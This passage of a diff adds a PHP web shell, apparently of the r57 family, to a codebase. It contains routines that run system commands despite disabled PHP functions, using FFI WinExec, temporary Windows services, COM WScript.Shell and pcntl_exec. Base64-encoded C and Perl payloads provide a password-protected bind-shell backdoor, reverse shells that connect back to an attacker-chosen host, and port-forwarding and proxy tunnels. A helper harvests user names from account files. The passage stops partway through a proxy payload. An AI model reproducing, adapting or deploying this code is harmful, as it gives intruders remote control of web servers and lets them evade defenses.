@ob_get_contents(); + @ob_end_clean(); + } + elseif(!$unix && extension_loaded('ffi')) + { + $output=$tempdir.uniqid('NJ'); + $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); + if(!@function_exists('escapeshellarg')){$res=$api->WinExec("cmd.exe /c $cfe >\"$output\"",0);} + else{$res=$api->WinExec("cmd.exe /c ".@escapeshellarg($cfe)." >\"$output\"",0);} + while(!@file_exists($output))sleep(1); + $res=moreread($output); + @unlink($output); + } + elseif(!$unix && extension_loaded('win32service')) + { + $output=$tempdir.uniqid('NJ'); + $n_ser=uniqid('NJ'); + if(!@function_exists('escapeshellarg')) + {@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c $cfe >\"$output\""));} + else{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c ".@escapeshellarg($cfe)." >\"$output\""));} + @win32_start_service($n_ser); + @win32_stop_service($n_ser); + @win32_delete_service($n_ser); + while(!@file_exists($output))sleep(1); + $res=moreread($output); + @unlink($output); + } + elseif(!$unix && extension_loaded("win32std")) + { + $output=$tempdir.uniqid('NJ'); + if(!@function_exists('escapeshellarg')){@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');} + else{@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');} + while(!@file_exists($output))sleep(1); + $res=moreread($output); + @unlink($output); + } + elseif(!$unix) + { + $output=$tempdir.uniqid('NJ'); + $suntzu = new COM("WScript.Shell"); + if(!@function_exists('escapeshellarg')){$suntzu->Run('c:\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');} + else{$suntzu->Run('c:\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');} + $res=moreread($output); + @unlink($output); + } + elseif(@function_exists('pcntl_exec') && @function_exists('pcntl_fork')) + { + $res = '[~] Blind Command Execution via [pcntl_exec]\n\n'; + $output=$tempdir.uniqid('pcntl'); + $pid = @pcntl_fork(); + if ($pid == -1) { + $res .= '[-] Could not children fork. Exit'; + } else if ($pid) { + if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';} + else {$res .= '[-] Error. Command incorrect.';} + } else { + $cfe = array(" -e 'system(\"$cfe > $output\")'"); + if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0); + if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0); + die(); + } + $res=moreread($output); + @unlink($output); + } +/* elseif(1) + { + + } +*/ + } + return htmlspecialchars($res); +} + +function get_users($filename) +{ + $users = $rows = array(); + $rows=@explode("\n",moreread($filename)); + if(!$rows[0]){$rows=@explode("\n",readzlib($filename));} + if(!$rows[0]) return 0; + foreach ($rows as $string) + { + $user = @explode(":",trim($string)); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +} +function perms($mode) +{ +if (!$GLOBALS['unix']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value,$checked=0) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\""; + if($checked) $ret .= " checked"; + return $ret.">"; +} +function which($pr) +{ +$path = ''; +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return false; } +} +function ps($pr) +{global $unix; +$path = ''; +if($unix){$path = ex("ps -aux | grep $pr | grep -v 'grep'");} +else{$path = ex("tasklist | findstr \"$pr\"");} +if(!empty($path)) { return $path; } else { return false; } +} +function locate($pr) +{ +$path = ''; +$path = ex("locate $pr"); +if(!empty($path)) { return $path; } else { return false; } +} +function cf($fname,$text) +{ + if(!morewrite($fname,@base64_decode($text))){err(0);}; +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn 